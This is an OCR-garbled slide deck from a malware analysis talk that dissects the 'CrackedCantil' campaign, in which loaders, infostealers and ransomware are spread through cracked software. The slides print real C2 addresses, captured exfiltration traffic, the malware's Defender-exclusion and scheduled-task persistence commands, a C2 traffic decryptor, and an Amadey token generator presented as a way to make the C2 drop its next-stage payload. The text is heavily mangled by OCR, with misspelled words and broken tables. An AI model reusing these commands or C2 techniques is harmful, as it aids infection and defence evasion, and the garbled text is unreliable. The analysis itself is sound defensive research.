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Malware Analysis and Art: Abstraction and Creativity




Malware Analvsis and Art: Story Telling

This is Slammer.

A wmputer worm

from U003 that
caused a massive

Denal & Service
(D05) on internet hosts,




Malware Analvsis and Art: Story Telling
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Malware Analysis and Art: Story Telling




Malware Analvsis and Art: Story Telling

The enfie worm

was O(\l\t 3-’6 \o\"(es) ; - : This small size allowed
and €t insde a . : e Wt Yo propagate
5‘“3\° packet. ~ e ex’tce«\e\\l fast.

By Lena aka LambdaMamba



Malware Analvsis and Art: Expressionism




Hhalyzing Malware Artistically

" Abstraction and Creativity
* Fupress highly technical concept 1n simple terms
*F11l 1n the gaps with imagination

Story Telling
" Logical structure, flow, organization, perspective

" Fxpressionism
* In this paper, I use the term Halware Symphony”
" To express Malware working together symphonically



~ Detining
Malware Symphony




| 1ve Pertormance of a "Malware Symphony™
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Full Length Demo
https://app .any run/tasks/
1c196a3f-2132-4855-ac98-1 6T abb0c299/




Chaotic or Ordered?

* Things may look chaotic on the surtace
"But, closer inspection may reveal order

" Many cases of multiple malware infections
" Fyery "Malware Sumphony™ 15 a mul t1-malware infection
* But not every mul ti-malware infection 1s a "Malware Sumphony”

" "Malware Sumphony” should not have "conflicts”




The Contlicts

Conflict Description

Ransomware encrypts | This makes the infection obvious to the victim, who will then take measures to remediate the infection.
files before other

The system may go down, which means that other malware does not get a chance to perform.
malware can perform

Even if infostealers successfully exfiltrate encrypted data, the attacker may not have the decryption
key, rendering the stolen data useless.

Some resources may be inaccessible to other malware.

ransomware attempting | Race conditions may occur if multiple ransomware attempt to encrypt the same files at the same time.

to encrypt files o .
P Spikes in computational resource usage can alert the system.

Malware attempt to kill | Malware developed by competing parties may attempt to kill each other, as seen in the case of botnet
each other malware Mirai [2].

Some malware disguises itself as legitimate processes and antivirus programs, while other malware
attempts to kill these, mistaking them for legitimate processes or antivirus programs [3].

More than one Complicates the encryption/decryption process.

Malware competing Malware such as coinminers utilize a lot of computational resources, which can cause other malware
for resources and crucial system processes to slow down.

Other interferences Malware blocking certain connections/resources which are required by other malware.

Multiple malware attempting to access the same resources at the same time could lead to race
conditions, errors, glitches and more.

Table 1: Examples of conflicts between multiple malware.



Detining "Malware Symphony”

" [nfections with multiple distinct malware
* Malware detonation 1s coordinated
* Hork together without conflict

" Decomposed 1nto "movements” G

1. Overture of the Loaders e 3 2
2. Ensemble of the Infostealers 2 Cha

3. Chorale of the “Otherware” "' ‘;Eﬁ'
4 . Finale of the Ransomware



Decomposing the Sumphony
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Naming the Sumphony



Naming Convention Proposal

»Sumphony no. <ID>, <Name of malware symphony>
= 1D>: Un1ique number for the specific case of the campaign
* {Name of malware symphony>: Name of specific campaign

" Jo 1dentity specitic case of Malware Symphony
= Same campaign, with similar composition
" However , each symphony can be subtly different

@



Variations 1n CrackedCantil Symphony

= Sumphony No. 2, CrackedCantil
* Uses Glupteba, KMR1g

* Doesn’t use Amadey

= Sumphony No . 3, CrackedCantil

" |Jges Kelihos
" Doesn’t use Smoke

Title

Symphony No. 1, CrackedCantil
[5]

Symphony No. 2,
CrackedCantil [6]

Symphony No. 3,
CrackedCantil 7]

Category

Loaders

Infostealers

Otherware

Ransomware

Loaders

Infostealers

Otherware
Ransomware
Loaders

Infostealers

Otherware

Ransomware

Malware

PrivateLoader
Smoke

RedLine
Amadey
Socks5Systemz
STOP

Smoke

Lumma

Risepro
XMRig
Lumma

Amadey

RisePro

Stealc

Kelihos
Socks5Systemz

STOP

Table 3: The various CrackedCantil symphonies.




Staging the Symphony



lhy Cracked Sof tware?

" Specific versions of cracked sof tware
" Distribute malware compatible with system

" “Cracked Photoshop for Hindows 18

* Attacker can embed malware for Windows 16

" |lsage and distribution of Cracked Sof tware 15 1]llegal
* Yictims are not legally protected
*Victims less likely to seek help



Symphony No . 1
“CrackedCantil™
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Sumphony No. 1 "CrackedCantil™

"Pertormers:

1. Loaders: Privatel oader, Smoke | oader
2. Infostealers: Lumma, Redl 1ine, RisePro, Amadey , Stealc
3. Otherwares”: SocksbSvustemz, Coin Miners

4 . Ransomware: STOP
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The "CrackedCantil™

* | named this malware campaign CrackedCantil™ © . {\ -‘:/ ."

" Cracked:

* Originates from Cracked Sof tware

"Cantil:

 Viper specles
* Uses bright vellow tail to lure prey
* Uses complex cocktail of venom

"Process [ree
" | ooks like a bunch of snakes




The Yenue

Search “cracked <popular sof tware>"
= "TDA PRO” for CrackedCantil

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

Related searches



Getting vour tickels

* [ownload link 1n Google Groups
* Password protected archive

Download Zip




Delivered by Cracked Sof tware

"[1sguised as "Logitech Plugin Installer Utility”

"Protected with Themida, YMProtect
» EXE 15 /50 MB
" Only 18 MB af ter unpacking

v Recursive scan v Deep scan [:] Heuristicscan v Verbose
o O s




Uverture of the Loaders




Overture of the Loaders

| Symphony | General description | Action ' Common MITRE techniques
movement

Overture of | Starts and coordinates | System checks before | T1518: Software Discovery
the Loaders | the malware starting the malware | 11082
symphony symphony

: System Information Discovery

T1012: Query Registry
T1497: Virtualization/Sandbox Evasion
T1016: System Network Configuration Discovery

Communicate with T1071: Application Layer Protocol
C2 | T1571: Non-Standard Port
Make C2 traffic hard | T1132: Data Encoding
to analyse T1573: Encrypted Channel
Ensure smooth entry | T1562: Impair Defenses
of other malware T1588: Obtain Capabilities
Time the execution of | T1547: Boot or Logon Autostart Execution
other malware ' T1053: Scheduled Task/Job
T1569: System Services




Privatel oader: Cue the Start

= Sends HI TP request to C2
= (11071 : Application Laver Protocol)

[ | URI : fap if tracemap -php Network stream 195.20.16.45: 80 2 VM: 52630

" SDEC l-I: lc respﬂnse 4 Send: 203b Timeshift: 137.06 s %Downlond T Hide =
- 15 .5an _1@ _]_':"::k GET /api/tracemap.php HTTP/1.1

Connection: Keep-Alive
User-Agent: Mozilla/5.8 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTM

| Start 'l:he Symphﬂny L, like Gecko) Chrome/119.0.0.0 Safari/537.36

Host: 195.20.16.45

| H ﬂ r E S D ':. n S E 4 Recv: 269b Timeshift: 137.68 s + Download Hide

HTTP/1.1 200 OK

[ Date: Thu, 14 Dec 2023 06:29:06 GMT

':.D E Symp ﬂny Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30

X-Powered-By: PHP/8.0.30
Content-Length: 15
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

15.5pnp.10.1lock u

*

- 1of2 2 Hide all View HEX = Text @ Highlight chars



Privatel oader: Perftorm 1P checks

"Online services to check IP
" apl.my1p.com
"1p1nfo.10

" |Jses port 443

~ HTTPRequests 265 | Connections 8882 DNSRequests 373 Threats 8932 setup ¥ PCAP
@ Timeshift Protocol Rep PID Process name CN IP Port Domain ASN Traffic
129.99 s TCP 6 4440 setup.exe == 185.216.70.235 80 - Enes Koken 1+ 205b ¥ = l
& 137.20 s TCP 6 4440 setup.exe ? 195.20.16.45 80 - = 1+ 203b ¢ 269 b
ii: 138.20 s TCP 6 4440 setup.exe = 172.67.75.163 443 api.myip.com CLOUDFLARENET 1t 581b 4 3.96 Kb
150.51 s TCP v 4440 setup.exe = 34.117.59.81 443 ipinfo.io GOOGLE-CLOUD-P... /¢ 628b ¥ 6.60 Kb
152.51 s TCP 6 4440 setup.exe ? 195.20.16.45 80 - = + 814b 3 5.52 Kb




Privatel oader: C2 communication

" Prepares Basebd—encoded encryvpted string
* (11132 : Data Encoding and 11573 : Encrvpted Channel)
= Sends HT TP POST request to C2
* URL: /ap1/firegate php

Encoded-encrypted \ Decoded-decrypted
Request QOuWGgHyOK1yWQK-BXHkM-HySJVrM-bkDRjaZRMV1ellOCvYaPf2Wz GetExtensions|USA 2|US|16

ROInGuLpCPzAv8ibLyhynTODgTS5CPejzN j4vkuL4Rmafqdgg7g29RNz
n9VOTArbMt6Jrg51sz3

Response FaU4dkFGmFsWKWHjsIyHND/UQ4teC8N/iQvaDo7KdzhN7A+UPiugSmR | []
y1wEY4xK8esn2ud4T6CpBh383VgxiDRRD+bfa76QQLfTIJpwLF1S0A=

@



Privatel oader: C2 communication

Request




Privatel oader: C2 communication

- Encoded-encrypted

Request |pflTyS5u_YBcLWc5gOpWOr2CYu-TaiZIv_PXnY-4pRx14J9QweeW65s AddLoggerStat |USA 2| {"extensions":[],
dTVW1SaZQZd¥3s9b0boRbgOC5ywb28fcQQpQ8LDO3t4npPAvDLh7ar "linksM [{ad" 99999 1M ) { i d" ;99999
uiZ0LZGm4c95Z1gcNgZxXmDXKkRWAhB2g818mKiHny6hNzpeL50Y1GJ 8" (T 1d" s "3 764"} Y id"s 3907 ) ;- { Mad s
qPEiljf6Xyp-OhhHImQs1INrNY55SbzH xXEucmNZhNV8xWwYMVpAcanE |"5307"}, {"id":"5325"}, {"id":"5431"}, {"
dHiLQridn9kkD3X0kEUNsIS10jT/ND1xrZGsFVIA9cuLYTyzTUmohxM [id":"5471"}, {"id":"5525"}, {"id":"5548"
dX 2610tSb5Gf5ae8vsS0qreU0ZcNJj7GMTkk9pBQlpo0QFr1TPOUrA |}, {"id":"5550"}, {"id":"5590"}, {"id":"
-6GleltxddLFPQHfkdk-2z37 8RO7KjBu7EHUNVbbItkOYcSvZ83Kg3i |5608"}, {"id":"5654"}, {"id":"5671"}, {"
6kBOVVKAFD4nxI9YzuqQP-Ptcj4YANdayHpQzG7G5xuktNs-I1JhMnS |id":"5672"}, {"id":"5674"}, {"id":"5677
krL1FiUJrhLa5ENsYaOfCq IvVRSMEF3AENkXxUtXH1GqdoPLka671V |"}, {"id":"5678"}, {"id":"5679"}],"net c
mikKsYHsSR1EsWuouvDzhpPNDZenLpEh2s4DgxTxiAz40nLz7qVS48z |ountry code":"US","os country code":
gch93s5dn-4bJddg9xvr04gR28VHeidAQAMAJIFWreSnCWYT3dPg== "VN" }

Response bTSeFsSNTqlMvvBXv/ success
XOYLLh4rSytJ93Zv04z9Xd7xA1i9bTqdQaxS6W1T
N7ZWAYbVIM2MPUtxgmCpU8b90MPrhwaJof¥Y3e594Rb2 /MUotB8=




Privatel oader: C2 communication

" | developed the Decode-Decryption Python script:
* g1thub .com/LambdaMamba/l_enaMalwarefnalysis

#Python script by Lena (aka LambdaMamba) for decrypting and decoding PrivateLoader's HTTP requests and responses

1
2
3 fron base64 inport béddecode, bé4encode

4 from cryptography.haznat.primitives.kdf.pbkdf2 import PBKDF2HMAC

5 from cryptography.hazmat.primitives import hashes, hmac

6 from cryptography.hazmat.backends import default_backend

7 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

9 v def lena_privateloader_decrypt_http(base64_data):

10 # Replace the characters '_' with '/' and '-' with '+'
1 base64_data = base64_data. replace( '/').replace(*

12

13 # Decode the data

14 decoded_data = b64decode (base64_data)

15

16 # Extract salt, IV, encrypted data, and HMAC hash

17 salt = decoded_data[:16]

18 iv = decoded_data[16:32]

19 hmac_hash = decoded_data[-32:]

20 encrypted_data = decoded_data[32:-32]

21

22 # Password and parameters

23 password = “Snowman+under_a_sn@wdrift_forgot_the_Snow_Maiden".encode()

24 iterations = 20000

25

26 # Create a PBKDF2HMAC object for the key deriva

27 kdf = PBKDF2HMAC(

28 algorithm=hashes.SHA512(),

29 length=64, # 32 bytes for AES key, 32 bytes for HMAC key

E salt=salt,

31 iterations=iterations,

32 backend=default_backend()

33 )

34

35 # Derive the key

36 key = kdf.derive(password)

37 aes_key = key[:32]

38 hmac_key = key[32:]

39

40 # Validate HMAC

2 h = hmac.HMAC(hmac_key, hashes.SHA512(), backend=default_backend())

42 h.update (decoded_data[16:-32]) # Update it with the data part used in HMAC
43 T
44 # Decrypt the data|

45 cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv), backend=default_backend())
26 decryptor = cipher.decryptor()

47 decrypted_data = decryptor.update(encrypted_data) + decryptor. finalize()

48

49 # Return the decrypted data

50 return decrypted_data




Privatel oader: Prepare Ensemble

*Majority of executables from “vk.com”
= Stored 1n CAUsershadmin\Pictures\Minor Policy\
* Randomly named locally
* [1me—based random1zation

* Regex: " la—zA-/0-9_H22 I\ exed

Malware
PrivateLoader
(secondary)
Smoke Loader

Lumma

| Redline

RisePro

Amadey

Full path

C:\Users\admin\Pictures\Minor Policy\wlC578T8hW{vZ2yJxLzrF38Y.exe
C:\Users\admin\Pictures\Minor Policy\vvIbVE alT9mi81qLqDvAjYH.exe
C:\Users\admin\Pictures\Minor Policy\T60BqC41LuNgq7EqPk6LjxrX.exe
C:\Users\admin\Pictures\Minor Policy\cuS4AGoWkhss2UsAPWfpvGrK.exe
C:\Users\admin\Pictures\Minor Policy\nNjCpnjCODqx6RJUBNXhaAHF.exe
C:\Users\admin\Pictures\Minor Policy\3Pvvg68HWOfBwJ9BdOsWgpEz.exe
C:\Users\admin\Pictures\Minor Policy\Ig4tpcufinMe73YjwlKR3Y Vy.exe
C:\Users\admin\Pictures\Minor Policy\SRfuRx03{pxiWkD42DRCixRe.exe
C:\Users\admin\Pictures\Minor Policy\hzQj407t3pAeMkmtH81xdDg1l.exe
C:\Users\admin\Pictures\Minor Policy\TzjwSXczmD2hOVANbz7L7Roc.exe

Table 7: The randomized names and full paths observed in Symphony No. 1, CrackedCantil.

a HTTP Requests 265

x
TE

Timeshift
154.62 s
15462 s
155.62s
168.73 s
158.78 s
159.54 s
159.54 s

Protocol
TCP
TCP
TCP
TCP
TCP
TCP
TCP

Connections 8882  DNS Requests

Rep

(IR R

PID
4440
4440
4440
4440
4440
4440
4440

Process name
setup.exe
setup.exe
setup.exe
setup.exe
setup.exe
setup.exe

setup.exe

fnmnmmmmin z

373 Threats
IP
87.240.129.133
87.240.129.133
87.240.129.133
87.240.129.133
87.240.129.133
87.240.129.133
87.240.129.133

8932
Port
80
80
443
80
80
80
80

Domain
vk.com
vk.com
vk.com
vk.com
vk.com
vk.com

vk.com

vk.com

ASN

VKontakte Ltd
VKontakte Ltd
VKontakte Ltd
VKontakte Ltd
VKontakte Ltd
VKontakte Ltd
VKontakte Ltd

e

~



Smoke Loader: Sets Tempo

" Injects malicious code 1nto explorer exe
(11055 Process Injection)

» Steadily beacons
» Various G2

* Quer port 80
(11071 : Application Laver Protocol)

Timeshift Protocol Rep PID Process name CN P Port Domain ASN Traffic
23054s [ TCP | ? 4192 explorerexe a= 3494245237 || 8D sumagulituyo.org GOOGLE-CLOUD-PLATFORM —
23265s [ T0P | ? 4192 explorerexe = 104.198.2.251 80 snukerukeutit.org GOOGLE-CLOUD-PLATFORM +  481b & 0b
23269s \ TCP \ e 4192 explorerexe - 184.31.10.246 443 myattwg.att.com Akamai International B.V. _
E 23569s [ TCP | ? 4192 explorerexe B 34143166163 | BD lightseinsteniki.org GOOGLE-CLOUD-PLATFORM +  38b 4 mb
« 25722 s ; TCP | ? 4192 explorerexe Bm 34143166163 | 80 lightseinsteniki.org GOOGLE-CLOUD-PLATFORM -_"
26444s \ e | 2 4192 explorerexe — 91.215.85.17 B0 stualialuyastrelia.net - _
g 26747s [ TCP \ ? 4192 explorerexe a= 3416822546 || BD criogetikfenbut.org GOOGLE-CLOUD-PLATFORM E 1)
5 269.56 s \ Faea 2 4192 explorerexe = 341288212 80 tonimiuyaytre.org GOOGLE-CLOUD-PLATFORM t 642b
3m21s | TeP | ? 4192 explorerexe &m 34143245173 | 8D tyiuiunuewqy.org GOOGLE-CLOUD-PLATFORM _ )



Smoke Loader : Prepare Ensemble

" [e]lls Hindows Defender to 1gnore
" |lser’s profile folder (‘CAlsershadmin’)
"Program Fi1les folder (‘C:\Program Fi1les’)

" (11562 : Impair Defenses)

Command Action

C:\Windows\System32\WindowsPowerShell\ Command Windows Defender to ignore the current user’s

vl.0\powershell.exe Add-MpPreference profile folder and Program Files folder during scans
-ExclusionPath @ ($Senv:UserProfile,

Senv:ProgramFiles) -Force

C:\Windows\System32\schtasks.exe /run / Run a task named ‘GoogleUpdateTaskMachineQC’

tn "GoogleUpdateTaskMachineQC" immediately

Table 8: The commands used by explorer.exe after being injected.




Smoke Loader : Schedule Performance

"Schedules a coinminer 1o run
" Originating from Privatel oader

" |lses Task Scheduler
*Malware 1n symphony 1nterconnected

‘ Command Action

C:\Windows\System32\WindowsPowerShell\ Command Windows Defender to ignore the current user’s
vl.0\powershell.exe Add-MpPreference profile folder and Program Files folder during scans
-ExclusionPath @ ($env:UserProfile,

Senv:ProgramFiles) -Force

C:\Windows\System32\schtasks.exe /run / Run a task named ‘GoogleUpdateTaskMachineQC’
tn "GoogleUpdateTaskMachineQC" immediately

Table 8: The commands used by explorer.exe after being injected.




The Ensemble of Infostealers




Ensemble of the Infostealers

Ensemble of | A variety of Communicate with T1071: Application Layer Protocol
the infostealers can be C2 T1571: Non-Standard Port

Infosteal involved, with
nlostealers ?VO ved, w8 Make C2 traffic hard | T1132: Data Encoding
iverse range of

stolen data and to analyse T1573: Encrypted Channel
exfiltration techniques | Check environment | T1518: Software Discovery
values ' T1012: Query Registry

T1082: System Information Discovery
Allow easy re-entry | T1547: Boot or Logon Autostart Execution
of itself T1053: Scheduled Task/Job
Collect the data | T1552: Unsecured Credentials
T1555: Credentials from Password Stores
T1115: Clipboard Data
T1113: Screen Capture
Exfiltrate the data T1567: Exfiltration Over Web Service
T1041: Exfiltration Over C2 Channel
T1048: Exfiltration Over Alternative Protocol




| umma : CZ Communication

" Sends HTTP Post request to C2

" Nex1 action depends on response

HTTP request content

act=life

act=recive_
message&lid=MVO0Nv&j=defaultaver=4.0

HTTP response content

2

ok

0

224c
4eFhXAzaixaQb9mC7Q34NDUOQbdCg9%gnsiokg+2nlQSa7Gt8LPgr
NOZN46LZIfU+FRRh12Dwv4AWICLIDZmML5CevBOXws+0pys1X55Ixh
i1EZOUuXYgP6hddSBpHN/NgOwcFBfCz68BuaT/mizS3YFBUWJIN1g
ufgqF10BGyoHFtG+0kQ0/ZLbs IveOBYJ1RUFUr2SvussqQBimh
zY£f1JIMHBQXwuv/EO0gk/7z4h5mX1URygVT4n6h5IKBIuQidgOwcFB
fCz68BuaT/mizS3YFRUWIN1gufgF3EFGwoXBt2GOhgASbbXufvwK
v+yGYpxWUFImxyXotMmQBimhzYf1IJMHBQXwuv/EO0gk/

ZYFnuXGY7QrrsjBoHDW7Rww81sVgXTgjS6Qb3imSCLXFgWbbp
OukAAKz4zT+HOAJUNWAACCH51IN86yIYJQWOD5h1 2K j+oeSCnmH4K
31JMHBQOXws+glss1X50KBskVgVdy3eJd+2ulJlvSeiBzrBglcNNUQ
bé6gzawT/mizS+cFg8UcptPifgHkgoEi82H92KSwlt8PugyIlaFa67
LgB9gUFRRh1z+00IeSCgT24K31JJw=

0

Table 9: Lumma s initial HTTP POST request and response contents (truncated).




| umma: Data Extiltration

*[Joes the heavwy duty infostealing

* Packages stolen data 1n archive file
* Screenshols, system information, browser information

" Exti1ltrates via HITP POST

Network stream 188.114.97.3: 80 = VM: 56670 Network stream 188.114.97.3: 80 = VM: 56670
Adobe Flash Play LummaC2, Build RAW data flow between two hosts dfgdfbidbdfbdigroup.sbs RAW data flow between two hosts vafgdfbldbdfbdfgroup. sbs
Adobe Flast y - LID(Lumma ID): MV9¢ - 102 =~ Show al View X Text @ Highlight chars - 10f2 Show all View HEX Text ® Highlight chars
deSiodocierrel
R e . Dehwiies S it & Content-Disposition: form-data. name- file . filename- file
POST /api HTTP/1.1 ntent_Type  attachment x_object
Connection: Keep Alive PK 3N
Content-Type: multipart/form data; boundary-be8SdeSipdocierrel System. txt 0o.@
omputerNameDnsHos tname: User-Agent: Mozilla/5.@ (Windows NT 10.0. Win64: x64) AppleWebKit/537.36 (KHTM A.d 0.t 3P JZX. .. rF PKUZ1n R aZ e
L. like Gecko) Chrome/119.0.0.8 Safari/537.36 e Y m 104 ] lka k R 4 )
Content-Length: 1023757 u.. .G .swlD .q G y Y B N8 L..p Jit
Host: cinemaretailermkw. fun K.I c
be85deSipdocierrel 2..2...8..2.0
ft Visu Content-Disposition: form data; name- hwid J.n rv.w
ft Edge = 12a79c4b4500004f6f8bac130089feu Software txt a
oSOt ¥ be85deSipdocierrel ju p..1 5
S Content Disposition: form data. name- pid w v..d8....I
Realtek A 1 0 Q. W 3
be8SdeSipdocierrel
Content-Disposition: form data: name- 1id Screen png xS
MVIONY 6. K[ o Smz z
be85deSipdocierrel 6..%2....6..52....0 6
Content-Disposition: form data. name- act z G -z G .-z
send_message 2 3 p G. .~z G -z G z z
bessdesipdocierre1 Fil€ information oq 6 s

9
Content-Disposition: form-data. name- file . filename- file 8. .qf m Qv8
L




Redl 1ne: Injects Malicious Code

* [hjects malicious code 1nto legitimate process
* CAdindows\Microsof t NET\WFrameworlki\wi 8 3031 9%N\Applaunch exe
* (11036 : Masquerading and T1055: Process Injection)

~ HTTPRequests 265 | Connections | sss2 | DNSRequests 373 Threats 8932 6280 # PCAP
Timeshift Protocol Rep PID Process name P Port Domain ASN Traffic
20497 ? 6280 Applaunch.exe ': 4515156187 23929 - Galaxy LLC
= 20962s [ TCP | ? 6280 Applaunchexe == 4515156187 23929 - Galaxy LLC
& 1463 ? 6280 Applaunch.exe == 4515156187 23929 - Galaxy LLC
22546s | TCP | ? 6280 ApplLaunchexe == 4515156187 23929 - Galaxy LLC
23059s [ TCP | ? 6280 ApplLaunchexe == 4515156.187 23929 - Galaxy LLC
23567s | TGP | ? 6280 AppLaunchexe == 4515156187 23929 - Galaxy LLC
240.78 s TCP | ? 6280 ApplLaunch.exe —l 45.15.156.187 23929 - Galaxy LLC




Redl 1ne: Beaconing

» Steadily beacons to G2
" Over port 23929

"2 and Botnet 15 1n Redline’s config

C2 server Request contents

45.15.156.187
tcp://45.15.156.187:23929/...

Table 10: C2 requests made by ‘AppLaunch.exe’.

45.15.156.187:23929
Botnet LogsDiller Cloud (Telegram: @logsdillabot)
Keys (XOR) Scuffs

Table 11: RedLine's configuration.




RisePro: lask Scheduling

*Multiple instances of RisePro
" |Jzes Task Scheduler to run more RisePro
* Hourlv and at User Logon with highest privilege

= (11053 : Scheduled Task/Job)

Process

IgdtpcuftnMe73YjwlKR3YVy.exe schtasks /create /f /RU "admin" /tr "C:\ProgramData\
OfficeTrackerNMP1\OfficeTrackerNMP1l .exe" /tn
"OfficeTrackerNMP1l LG" /sc ONLOGON /rl HIGHEST

3Pvvg68HWOfBwJI9BdOSWgpEz . exe schtasks /create /f /RU "admin" /tr "C:\ProgramData\
OfficeTrackerNMP131\OfficeTrackerNMP131l.exe" /tn

"OfficeTrackerNMP131 LG" /sc ONLOGON /rl HIGHEST

Table 12: Task Scheduler commands.




RisePro: Hutostart

*[rops RisePro in startup directory
* Configured to run at system restart

* (1154 /: Boot or Logon Autostart Execution)

" Connects to CZ2 on port 50500
" (T1571: Non-Standard Port)

Process ‘ LNK file

Ig4tpcuftnMe73YjwlKR3YVy.exe | C:\Users\admin\AppData\Roaming\
Microsoft\Windows\Start Menu\Programs\

Startup\FANBoosterl.lnk
3Pvvg68HWOfBwI9BdOsWgpEz.exe | C:\Users\admin\AppData\Roaming\

Microsoft\Windows\Start Menu\Programs\
Startup\FANBooster131l.1lnk

Table 13: LNK files and referred executables.

Referred executable

C:\Users\admin\AppData\
Local\Temp\FANBoosterl\
FANBoosterl.exe

C:\Users\admin\AppData\
Local\Temp\FANBoosterl31l
FANBoosterl3l.exe




Hmadey : Hutorun

" Peri1odically runs 1tself
* |Jsing task scheduler

* Changes autorun 1n registry
* Directory contains LNK that point to RisePro

Command Action

"C:\Windows\System32\schtasks.exe" /Create / | Use the task scheduler to run the Amadey executable every
SC MINUTE /MO 1 /TN

5RfuRxo3fpxiWkD42DRCixRe.exe /TR "C:\Users\
admin\Pictures\Minor
Policy\5RfuRxo3fpxiWkD42DRCixRe.exe" /F

Table 14: The command used to run Amadey every minute.

Name | STARTUP ‘

Value | $USERPROFILES\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP ‘

Key HKEY CURRENT USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS ‘

Table 15: The updated registry value and keys.



Amadey: Collect System Info

" Convert to special 172 character token

" S version, device name, 1nstalled AY

» Sends back to G2

HTTP request content HTTP response content

Initial
connectivity
check

Token observed in | r= A7C3DF3DC00795451669E19B848

Symphony No. 1,
CrackedCantil

Example token
which the C2 has
not blacklisted

S5FDB7B6750D6C7FC8220724CEDCC
F265280BD662595DCFBA115F75B21
A7198B625D3DBE9F69C6E6D4E384
AAOAF6322E360453DFC043C15E333
39BFC5369857CD19A7797E75D67A0
cC

r=A7C3DF3CC1019444116FE1978ES8
S5F2B7B6750D6C7FC8220724CEDCC

F265280BD66259586F0F21FA74869A

D58983B2B36B78F6DDFFO9D19A83B
E2BC85D07021C548BC54A96562B6D
C7F55E69857D8D913BOC

<c><d>

<c>1000130001+++a6d3917b850e8a5e4df
3ebaccdcddadb5b127172121977e062e9d
8d9d7201dae3747990d4faff4bf25b35fb

1c9a62064bcdfalla3c8bdf6e88926c3#<d>

Table 16: Example HTTP request and response for Amadey.

C2 confirms
connection

C2 assumes
sandbox/already
infected.

Keep running but do
not prepare next
stage.

C2 assumes it is a
new uninfected
device.

Drops
eOcbefcblaf40c7d4
aff4aca26621a98.exe
(Glupteba) [17]



Amadey : C2 Communication

"2 responds
» Special string enclosed 1n <c><d>
" Specifies next action

HTTP request content HTTP response content

Initial C2 confirms
connectivity connection
check
Token observed in | r= A7C3DF3DC00795451669E19B848 <c><d> C2 assumes
Symphony No. 1, S5FDB7B6750D6C7FC8220724CEDCC sandbox/already
CrackedCantil F265280BD662595DCFBA115F75B21 infected.
A7198B625D3DBE9F69C6E6D4AE384
AAOAF6322E360453DFC043C15E333 Keep running but do
39BFC5369857CD19A7797E75D67A0 not prepare next

cC stage.

Examp]e token r=A7C3DF3CC1019444116FE1978ES8 <c>1000130001+++a6d3917b850e8ab5e4f C2 assumes it is a
which the C2 has | SF2B7B6750D6CTFC8220724CEDCC 3ebaccdcddadb5b127172121977€062e9d | new uninfected
not blacklisted F265280BD66259586F0F21FA74869A 8d9d7201dae3747990d4faff4bf25b35fb
D58983B2B36B78F6DDFF9D19A83B 1c9a62064bcdfalfa3c8bdf6e88926c3#<d>
E2BC85D07021C548BC54A96562B6D Drops
C7F55E69857D8D913B9C eOcbefcblaf40c7d4
aff4aca26621a98.exe

(Glupteba) [17]

device.

Table 16: Example HTTP request and response for Amadey.




Amadey : C2 Communication

* In this symphony , Amadey was quiet
" Likely, C2 blacklisted token

" Generating new token
* Modifving device name 1n registry
* Generates new token, C2 responds
* Drops Glupteba

Example token
which the C2 has
not blacklisted

r=A7C3DF3CC1019444116FE1978ES8 <c>1000130001+++a6d3917b850e8abe4df
5F2B7B6750D6C7FC8220724CEDCC 3ebaccdcddadb5b127172121977e062e9d
F265280BD66259586F0F21FA74869A | 8d9d7201dae3747990d4faff4bf25b35fb
D58983B2B36B78F6DDFFO9D19A83B 1c%9a62064bcdfalfa3c8bdf6e88926c3#<d>
E2BC85D07021C548BC54A96562B6D

C7F55E69857D8D913B9C

Table 16: Example HTTP request and response for Amadey.

C2 assumes it is a
new uninfected
device.

Drops
eOcbefcblaf40c7dg
aff4aca26621a98.
(Glupteba) [17]




HAmadey : Token Generation

* | developed the Token Generation Python script:
* g1thub .com/LambdaMamba/l_enaMalwarefnalysis

1 v def lena_amadey_generate_token(environment_str, hex_key):

2 input_bytes = environment_str.encode('utf-8")

3 key_bytes = bytes.fromhex(hex_key) String components for token generation | Details

4 result = bytearray(len(input_bytes)) sd:037208 Amadey ID

5

6 for i, byte in enumerate(input_bytes): 0s:18 OS (Windows 11)

7 result[i] = byte ~ key_bytes[i % len(key_bytes)] bi:l Computer Bit (64 bit)

8 return result.hex().upper() L. )

. ar:1 Privilege (Admin)
10 environment_str = "id:219488974133vs:4.12sd:0372080s:18bi:lar:1pc: LN-COMPUTERuUN: Indm:av:13 ‘ pc:LN-COMPUTER PC name (LN-COMPUTER)
11 key_hex = "CEA7E50BF634A571255FD8AEBDB5C5C1C54F39424EFA51631EFEEFF81462B8D2151FA4E499C82FC ‘ un:ln User name (1n)
12 hex_token = lena_amadey_generate_token(environment_str, key_hex) — -
13 print("Token:", hex_token) ‘ av:13 Installed Antivirus (Windows Defender)

Table 17: The string components and their details.

Combined string for 1d:219488974133vs:4.12sd:0372080s:18bi:lar:1pc:LN-
token generation COMPUTERun:1lndm:av:131v:00g:1

Generated token A7C3DF39C70D91491D66EFI9A8C86F6B7B6750D6C7FC82207
F265280BD662595DCFBAL15F75B21A7198B625D35B5E161 1
2A90CD3095C0A1F59889B46DA0D6C649AB0082FD02AD8CT

Table 18: The combined string and the generated token.




Steale: Crash

*Crashed 1n this symphony

"Attempted communication to C2
* HTTP POST Request
" Device HWID, build name

2 replied with "block™
" Likely Blacklisted by C2

HTTP request content HTTP response content Decoded response

KEGIDHJKKJDGCBGCGIJK YmxvY2s=

Content-Disposition: form-data;
name="hwid" 62DA029D9E6E2371543510
KEGIDHJKKJDGCBGCGIJK Content-
Disposition: form-data; name="build"
ef58ewegweg
KEGIDHJKKJDGCBGCGIJK--

Table 19: HTTP request and response for Stealc.

Network stream 5.42.64.41: 80 = VM: 52705

RAW data flow between two hosts

- 10f2 w Hide all View HEX Text ® Highlight chars

1 Send: 415b Timeshift: 195.88s # Download Hide «

POST /40d570f44e84a454 php HTTP/1.1
Content-Type: multipart/form-data; boundary KEGIDHJKKJDGCBGCGIJK
Host: 5.42.64 .41
Content-Length: 218
Connection: Keep-Alive
Cache-Control: no-cache
KEGIDHJKKJDGCBGCGIJK
Content-Disposition: form-data; name="hwid
62DAB29D9E6E2371543510
KEGIDHJKKJDGCBGCGIJK
Content-Disposition: form-data; name="build
ef58ewegweg
